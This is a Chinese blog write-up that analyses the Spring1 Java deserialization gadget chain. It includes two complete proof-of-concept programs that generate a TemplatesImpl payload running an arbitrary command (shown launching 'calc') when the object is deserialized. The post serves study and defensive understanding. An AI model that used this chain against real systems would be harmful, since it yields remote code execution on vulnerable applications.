spring1分析

spring1 分析

条件

所需依赖是:

spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE

pom.xml

<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.1.RELEASE</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>4.1.1.RELEASE</version>
</dependency>

链子

链子

image-20240305154945670

/*
   Gadget chain:

      ObjectInputStream.readObject()
         SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
            SerializableTypeWrapper.TypeProvider(Proxy).getType()
               AnnotationInvocationHandler.invoke()
                  HashMap.get()
            ReflectionUtils.findMethod()
            SerializableTypeWrapper.TypeProvider(Proxy).getType()
               AnnotationInvocationHandler.invoke()
                  HashMap.get()
            ReflectionUtils.invokeMethod()
               Method.invoke()
                  Templates(Proxy).newTransformer()
                     AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
                        ObjectFactory(Proxy).getObject()
                           AnnotationInvocationHandler.invoke()
                              HashMap.get()
                        Method.invoke()
                           TemplatesImpl.newTransformer()
                              TemplatesImpl.getTransletInstance()
                                 TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.TransletClassLoader.defineClass()
                                       Pwner*(Javassist-generated).<static init>
                                          Runtime.exec()

 */

分析

rce利用

package exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import com.ctf.threermi.*;
import java.lang.reflect.Field;

public class MyexpTest {

    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();

    }

}

就是cc的templateImpl

image-20240305162755729

上面可以看到,只要templates.newTransformer();就会弹计算器

入口MethodInvokeTypeProvider#readOject

spring核心包有一个类:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider。这个类实现了TypeProvider接口,表示这是一个可以进行反序列化的类。

看一下这个类的readObject方法,先是调用org.springframework.util.ReflectionUtils#findMethod(java.lang.Class<?>, java.lang.String)方法,传入的参数为自身的provider.getType().getClass()methodName

然后调用org.springframework.util.ReflectionUtils#invokeMethod(java.lang.reflect.Method, java.lang.Object)方法,反射调用执行findMethod获得的method方法,并且这个反射调用是一个无参调用。

image-20240305162159482

如上图,methodName我们可以通过反射设置为newTransformer()方法,关键是如何控制providergetType()方法返回的值处理成 TemplatesImpl ,就可以触发漏洞了。

image-20240305165408757

如上图,看了构造方法,发现provider就是TypeProvider可以自定义,

image-20240305165531622

但需要满足要求:Type类型

很显然TemplateImpl不是Type,所以还得接着找gadget

ObjectFactoryDelegatingInvocationHandler#invoke

在srping-beans的包中存在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler这个类,实现了SerializableInvocationHandler接口。

image-20240305165223759

表明了这个类一方面可以实现序列化,一方面可以实现动态代理代理某些类。

在 invoke 代理时,会调用 ObjectFactory 的 getObject 方法返回ObjectFactory的实例用于 Method 的反射调用。

image-20240305165739831

看下构造方法

image-20240305170009997

image-20240305170026101

ObjectFactory 的 getObject 方法返回的对象是泛型的。

AnnotationInvocationHandler#invoke

老朋友AnnotationInvocationHandler,最早见面于cc

sun.reflect.annotation.AnnotationInvocationHandler#invoke

image-20240305172450433

最后代码会来到选中的地方,

在cc1中(yso版本),我们通过var4赋值为LazyMap实现了反序列化

memberValues存储的即是AnnotationInvocationHandler初始化的时候传入的Map。

var4是需要调用方法的名字,然后将var4作为key在Map中寻找对应的value,最后将这个value返回。

这个类的invoke代理的利用思路就有了:

如果说我们想控制一个类的某个方法的返回值,可以构造一个Map,里面的key是需要更改返回值的方法名,value是对应的返回值。

然后用AnnotationInvocationHandler来动态代理这个类。

这样的话,当我们调用代理类的对应方法时,该方法通过AnnotationInvocationHandlerinvoke()方法后,返回值就被修改为需要的返回值。

exp

TemplateImpl

        ...
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        ...

AnnotationInvocationHandler 动态代理

前面说过

image-20240305192839830

然后看构造函数得知这个var2可以在这里赋值

image-20240305192905360

由于这个类不好直接new,所以我们反射的写

 Class<?>  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

这个map是什么呢,前面提到

这个类的invoke代理的利用思路就有了:

如果说我们想控制一个类的某个方法的返回值,可以构造一个Map,里面的key是需要更改返回值的方法名,value是对应的返回值。

然后用AnnotationInvocationHandler来动态代理这个类。

这样的话,当我们调用代理类的对应方法时,该方法通过AnnotationInvocationHandlerinvoke()方法后,返回值就被修改为需要的返回值。

由于ObjectFactoryDelegatingInvocationHandler#invoke方法中,会调用一个GetObject方法

image-20240305193307206

this.objectFactory 是个泛式,我们期望它是TemplateImpl类型,同时又含有getObject方法。所以可通过AnnotationInvocationHandler来动态代理一个含有(“getObject”,TemplateImpl)键值对的map

由此写出

        // 使用 AnnotationInvocationHandler 动态代理
        Class<?>  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<>();
        map.put("getObject", templates);

        InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, map);
        ObjectFactory objectFactory = (ObjectFactory) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{HashMap.class}, h);

ObjectFactory要看后面gadget需要我们是什么类

ObjectFactoryDelegatingInvocationHandler代理

很有意思的是ObjectFactoryDelegatingInvocationHandler也是个代理,很逆天的是这个必须用反射构造,因为是私有方法

首先还是一样的写出反射构造

        // 使用ObjectFactoryDelegatingInvocationHandler代理
        Class<?>  c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor1 = c1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);

image-20240305211154253

 // 顺便把构造函数给写了,前面的objectFactory传入
        InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory);

然后map就需要看后文需要什么样的方法,发现MethodInvokeTypeProvider#readOject需要我们有getType方法,这个provider要求是Type类型

同时他又必须得是templateImpl类

        // 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);

最终

        // 使用ObjectFactoryDelegatingInvocationHandler代理
        Class<?>  c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor1 = c1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);

        //InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, map1);
        InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory); //构造函数
        // 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);
代理TypeProvider

image-20240305194858367

需要调getType的时候触发,想到之前的map,可以自创一个方法和返回类型

image-20240305211634662

于是乎map

        HashMap<String, Object> map1 = new HashMap<>();
        map1.put("getType", type);  //需要是一个Type类

然后意识到这个map不知道要放哪,这个地方去求助了一下su18的exp

        // 代理TypeProvider
        // getType方法仍然需要使用 AnnotationInvocationHandler 进行动态代理
        HashMap<String, Object> map1 = new HashMap<>();
        map1.put("getType", type);

        InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1);
        // 注意到这里的constructor是AnnotationInvocationHandler的constructor

        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, h2);

明白了,要自创一个方法和返回类型,只能用AnnotationInvocationHandler是吧

所以说map放在AnnotationInvocationHandler

所以关于自创一个方法和返回类型有一个固定的写法

        // 使用 AnnotationInvocationHandler 进行动态代理

        // new 个 AnnotationInvocationHandler
        Class<?>  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        // new 个 Map,自创方法类型
        HashMap<String, Object> map1 = new HashMap<>();
        map1.put("方法a", 类型);

        InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1);
        // 注意到这里的constructor是AnnotationInvocationHandler的constructor

        // 提供你需要的方法的那个类
        Class<?> class666 = Class.forName("xxx.xxxx.xxxx.xxxxx$那个类"); 
        // 使用 AnnotationInvocationHandler 动态代理 class666() 的 方法a ,使其返回 typeTemplateProxy(自定义)
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{class666}, h2);

这里方法a是 getType, class666是TypeProvider, 类型是Type

image-20240305194858367

image-20240305211634662

MethodInvokeTypeProvider#readOject

反射

        // 使用MethodInvokeTypeProvider
        Class<?>  c2 = Class.forName("org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider");
        Constructor<?> constructor2 = c2.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        Object h2 = (Object) constructor1.newInstance(Override.class, h);

看构造方法改前面写错的

image-20240305200248472

//InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, h);
Type h1 = (Type) constructor1.newInstance(Override.class, h);
//想改TypeProvider改不了,只能改成父类Type

所以变成

        // 使用MethodInvokeTypeProvider
        Class<?>  c2 = Class.forName("org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider");
        Constructor<?> constructor2 = c2.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        Object h2 = (Object) constructor1.newInstance(Override.class, h1,templates.newTransformer(),1);

但实际上和网上exp有些出入

        // 初始化 MethodInvokeTypeProvider
        Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Field field   = clazz2.getDeclaredField("methodName");
        field.setAccessible(true);
        field.set(objects, "newTransformer");

由于由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())这个是比较特殊的,所以初始化时把newTransformer传入就没什么卵用,咱只能反射再修改属性

最终exp

自己手搓的

package exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import com.ctf.threermi.*;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;

public class MyexpTest {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //templates.newTransformer();
//        org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider;
//        org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler;
//        sun.reflect.annotation.AnnotationInvocationHandler

        // 反射调用newTransformer
//        Class persons = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//        Method action = persons.getMethod("newTransformer");
//        action.invoke(templates);

        //new ObjectFactoryDelegatingInvocationHandler();

        // 使用 AnnotationInvocationHandler 动态代理
        Class<?>  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<>();
        map.put("getObject", templates);

        InvocationHandler h = (InvocationHandler) constructor.newInstance(Target.class, map);
        ObjectFactory objectFactory = (ObjectFactory) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, h);

        // 使用ObjectFactoryDelegatingInvocationHandler代理
        Class<?>  c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor1 = c1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);

        //InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, map1);
        InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory);
        // 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);

        // 代理TypeProvider
        // getType方法仍然需要使用 AnnotationInvocationHandler 进行动态代理
        HashMap<String, Object> map1 = new HashMap<>();
        map1.put("getType", type);

        InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1);

        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, h2);

        // 使用MethodInvokeTypeProvider
        Class<?>  c2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> constructor2 = c2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);

        Object h3 = (Object) constructor2.newInstance(typeProviderProxy, Object.class.getMethod("toString"),1);

        Field field   = c2.getDeclaredField("methodName");
        field.setAccessible(true);
        field.set(h3, "newTransformer");

//        serialize(h3);
        unserialize("ser.bin");

    }

}

image-20240305213200939

直接就用了su18师傅对spring1分析的POC

package exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;

import javax.rmi.CORBA.Util;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class SpringExp {
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl tmpl = new TemplatesImpl();
        setValue(tmpl,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(tmpl, "_bytecodes", bytecodes);
        setValue(tmpl,"_tfactory", new TransformerFactoryImpl());

        // 使用 AnnotationInvocationHandler 动态代理
        Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<>();
        map.put("getObject", tmpl);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

        // 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
        ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
        // 当触发factory.getObject()方法时,返回值就被修改为tmpl

        // test :  factory.toString();

        //ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
        //并且会调用 method.invoke(返回值,args)
        //此时返回值被我们使用动态代理改为了 TemplatesImpl
        //接下来需要 method 是 newTransformer(),就可以触发调用链了
        Class<?>       clazz          = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
        ofdConstructor.setAccessible(true);
        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

        //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
        //hashMap.get(1);
        // ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
        // 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
        // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
        Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Type.class, Templates.class}, ofdHandler);

        // typeTemplateProxy.hashCode();

        // 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("getType", typeTemplateProxy);

        InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, newInvocationHandler);

        // 初始化 MethodInvokeTypeProvider
        Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Field field   = clazz2.getDeclaredField("methodName");
        field.setAccessible(true);
        field.set(objects, "newTransformer");

        //serialize(objects);
        unserialize("ser.bin");

    }
}

image-20240305184839942

reference

Java反序列化之Spring1链分析 - 先知社区 (aliyun.com)
https://su18.org/post/ysoserial-su18-3/#spring1

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇